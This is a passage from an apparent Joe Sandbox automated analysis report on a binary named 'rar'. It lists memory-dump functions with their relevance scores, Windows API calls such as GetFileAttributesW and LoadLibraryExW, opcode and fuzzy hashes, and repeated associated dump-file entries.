Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 3cdbc9fc115b3786672d0ab875eb06079944196e3b63107a1cba7715dce50020
Instruction ID: 0dbaa82678a09e5e8a9efc4f98c3ed0d01fba170e0650ddd8bf129358642cde8
Opcode Fuzzy Hash: 3cdbc9fc115b3786672d0ab875eb06079944196e3b63107a1cba7715dce50020
Instruction Fuzzy Hash: 3601A131A19A82E1EB669B29E44027823A1EF40778F144373D53D821F5CF3CD98BC750

Function 00007FF6AA1A30C8 Relevance: 3.0, APIs: 2, Instructions: 30COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000800,00007FF6AA1A305D,?,?,?,?,?,?,?,?,00007FF6AA1B4126,?,?,?,?,00000800), ref: 00007FF6AA1A30F0
GetFileAttributesW.KERNELBASE(?,?,?,?,?,?,?,?,00007FF6AA1B4126,?,?,?,?,00000800,00000000,00000000), ref: 00007FF6AA1A3119

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 2e2186a7cb8ede8c780016636985b78a342ec6e28c4d5099e5617c1395310ad3
Instruction ID: 52324bf8972a3060132f2d62fa71d8caf1c9c5025fe7be9e8438798b67539fd4
Opcode Fuzzy Hash: 2e2186a7cb8ede8c780016636985b78a342ec6e28c4d5099e5617c1395310ad3
Instruction Fuzzy Hash: 29F0A421B196C1D1EA60DB64F4543A96290BF4D7D4F400572E99CC3799DE7CDD468600

Function 00007FF6AA1CB3F0 Relevance: 3.0, APIs: 2, Instructions: 28libraryCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(00000000,00007FF6AA1C7F72), ref: 00007FF6AA1CB41E
LoadLibraryExW.KERNELBASE ref: 00007FF6AA1CB449

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: DirectoryLibraryLoadSystem
String ID:
API String ID: 1175261203-0
Opcode ID: 690506ff7ad01b68561af502f5f6bdd4c4444b6941644f14759842c93308c1c9
Instruction ID: 2d94f2c81f0dcfae6f46323882c9ef6d0f23bb89c5f8fd09eacb665ddeaaa8ed
Opcode Fuzzy Hash: 690506ff7ad01b68561af502f5f6bdd4c4444b6941644f14759842c93308c1c9
Instruction Fuzzy Hash: 95F06821B1E581D1FA719B11E8553FA6264BF48784F804173E9CDC2659EE2CED46CA00

Function 00007FF6AA1CBA70 Relevance: 3.0, APIs: 2, Instructions: 23COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,00007FF6AA1CBACD), ref: 00007FF6AA1CBA74
GetProcessAffinityMask.KERNEL32 ref: 00007FF6AA1CBA87

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: Process$AffinityCurrentMask
String ID:
API String ID: 1231390398-0
Opcode ID: b5cb634e91c6557fc3f51b2270fa7b26469bd4cc2c85bb60b503b74b5f948de9
Instruction ID: e21709d6dd26e884b0a482f46ff92a3987efb70d3ff3a0bdfdd77631102f77a8
Opcode Fuzzy Hash: b5cb634e91c6557fc3f51b2270fa7b26469bd4cc2c85bb60b503b74b5f948de9
Instruction Fuzzy Hash: A2E02B20B3949192DBD98B1AC491FAD1390AF54F80F80207BF44BC3A54ED1CDD468B00

Function 00007FF6AA1E4A74 Relevance: 3.0, APIs: 2, Instructions: 19memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL ref: 00007FF6AA1E4A8A
GetLastError.KERNEL32 ref: 00007FF6AA1E4A9C

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: eba7cb3a1b25fa9ccf71865f2d4f1c33426d57f6117c222b9e149abc10e1791e
Instruction ID: 9382a0c6d0a90f587c8bf0238242a09b8bb5f6ddb237a9729f6b41ebf754f66f
Opcode Fuzzy Hash: eba7cb3a1b25fa9ccf71865f2d4f1c33426d57f6117c222b9e149abc10e1791e
Instruction Fuzzy Hash: ECE08660F1B143D6FF669BF2D80417812D05F89B40F0844B6DD0EC6651EE2D6C934204

Function 00007FF6AA1C71FC Relevance: 1.9, APIs: 1, Instructions: 353COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17dbf89f21da43bbd654d9da3b204a736ad4fc838e231dad39fbf41b92fe687c
Instruction ID: 516255290ce3989289500dcbfbf859ec835254b38af0bb6509c73a29834f4237
Opcode Fuzzy Hash: 17dbf89f21da43bbd654d9da3b204a736ad4fc838e231dad39fbf41b92fe687c
Instruction Fuzzy Hash: 89E1D421A0A692E1FB228F2094442B967E1EF41B88F0451B7DE4D8B7D6DEACBC47C710

Function 00007FF6AA1872C4 Relevance: 1.6, APIs: 1, Instructions: 100COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6AA1B915C: new.LIBCMT ref: 00007FF6AA1B91CA
Part of subcall function 00007FF6AA1B915C: new.LIBCMT ref: 00007FF6AA1B91F2

new.LIBCMT ref: 00007FF6AA1873DE

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c7a1d2a60ffdbc43dff3a0632d536e208070f789ed259da07b8fca2f3bbe514d
Instruction ID: 0db69eefc58ad7cfb0d27474b71a9b99494ac82dacd0b2603e4b01eba780ba44
Opcode Fuzzy Hash: c7a1d2a60ffdbc43dff3a0632d536e208070f789ed259da07b8fca2f3bbe514d
Instruction Fuzzy Hash: 83514472529BD1A4E7019F34A8441ED37A8FB44F88F18427ADE884B79ADF389462C331

Function 00007FF6AA1E231C Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF6AA1E2344

Part of subcall function 00007FF6AA1E24D4: GetModuleHandleExW.KERNEL32 ref: 00007FF6AA1E24F4
Part of subcall function 00007FF6AA1E24D4: GetProcAddress.KERNEL32 ref: 00007FF6AA1E250A
Part of subcall function 00007FF6AA1E24D4: FreeLibrary.KERNEL32 ref: 00007FF6AA1E252F

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: HandleModule$AddressFreeLibraryProc
String ID:
API String ID: 3947729631-0
Opcode ID: ab07719b1dbe22030e8646d784921353e02d3757405243c58476c88a44abd4a6
Instruction ID: fa2ef60411977361bbe95146c96af7a130c7f15563207c4378e655b72dc4692d
Opcode Fuzzy Hash: ab07719b1dbe22030e8646d784921353e02d3757405243c58476c88a44abd4a6
Instruction Fuzzy Hash: 0441DE21A1B683E2FF7A9B10996027863A1AF95B40F4444BBD90EC7AD5DE3DEC478740

Function 00007FF6AA194D1C Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetCommandLineW.KERNEL32 ref: 00007FF6AA194D47

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: CommandLine
String ID:
API String ID: 3253501508-0
Opcode ID: 73dd7db7cbad1becb968eb67897256c98e4567ab7c48d7e0ed9ada2aa3175c64
Instruction ID: 3a79ec34c64a8deb1d34cb3a9fe27bfbcc6095ad85dd137044619f6da393bf46
Opcode Fuzzy Hash: 73dd7db7cbad1becb968eb67897256c98e4567ab7c48d7e0ed9ada2aa3175c64
Instruction Fuzzy Hash: EA01C415B0E642D5EA12E716E6001BD57A0AF99B94F480473EE4D47369DE3DDC43C384

Function 00007FF6AA1E4B8C Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: ca30e85b47fa1e18d3f1659bb3f59f1703126fc617b20a809fafb72b1d5571b6
Instruction ID: 041d94d1143dec9585600d9f0331787f53f17152fa7bb5a3917ab87de52c6452
Opcode Fuzzy Hash: ca30e85b47fa1e18d3f1659bb3f59f1703126fc617b20a809fafb72b1d5571b6
Instruction Fuzzy Hash: 46011250B0F542E8FA769666DB4067951505F86BD4F4882B3DD1EC6AD6ED2EAC434100

Function 00007FF6AA1CA924 Relevance: 1.5, APIs: 1, Instructions: 41COMMON

Download Yara Rule

APIs

CompareStringA.KERNELBASE ref: 00007FF6AA1CA998

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: CompareString
String ID:
API String ID: 1825529933-0
Opcode ID: c6d6092b44314f1ca84e49c6934a556cb6b0378942b6d95cbaf43525491768f7
Instruction ID: 7bfffcfd95884b195121bb3a1fc5adfc77e5477bbcf122191bbb58595e41470f
Opcode Fuzzy Hash: c6d6092b44314f1ca84e49c6934a556cb6b0378942b6d95cbaf43525491768f7
Instruction Fuzzy Hash: B701A76170D692D5EA215F42A40507AE615BB49FC0F5C4476EFCD8BB5ACE3CE4434704

Function 00007FF6AA1A4554 Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

FindClose.KERNELBASE ref: 00007FF6AA1A4590

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: CloseFind
String ID:
API String ID: 1863332320-0
Opcode ID: 73a3b642e027c9546b1f9f92380fcd54c99c946120ceb80f38a8122e17d5c0d2
Instruction ID: 40d9b80663f7675eebeeed3ea106f366250986745b174d183af31c9acf3340f0
Opcode Fuzzy Hash: 73a3b642e027c9546b1f9f92380fcd54c99c946120ceb80f38a8122e17d5c0d2
Instruction Fuzzy Hash: 94F08671A096C1D5DB169B7191053F827519F06BB4F1843B6DE7D4B3C7CE5C988A8720

Function 00007FF6AA1E4AB4 Relevance: 1.5, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL ref: 00007FF6AA1E4AF2

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: a83705ac74b444f5500bec44348e0038c9b669d93df90df5323591eb77280fd7
Instruction ID: 08f40aeefe580ac680a4b2982b6020c90396f1187c54837128c135ca2a07ae82
Opcode Fuzzy Hash: a83705ac74b444f5500bec44348e0038c9b669d93df90df5323591eb77280fd7
Instruction Fuzzy Hash: 41F05411B0F242D9F9765AB1954027511804F8A770F4C06B3ED2EC5AC1DE5DECD34114

Function 00007FF6AA1B38A4 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 549de7c3646322cf803f0a3d8ad362b1ba55d15b021e669189a15772740b4565
Instruction ID: 5b3176e80861bf4c6f44be601224ba1fd61bf14a67ed305406a9d9188142c6a3
Opcode Fuzzy Hash: 549de7c3646322cf803f0a3d8ad362b1ba55d15b021e669189a15772740b4565
Instruction Fuzzy Hash: 33E04F54F1B312E0ED5E2622185507D02415F56B80E5457BBCC1FC6783EC1EAC6B5601

Function 00007FF6AA1EFA10 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

FreeLibrary.KERNELBASE ref: 00007FF6AA1EFA20

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
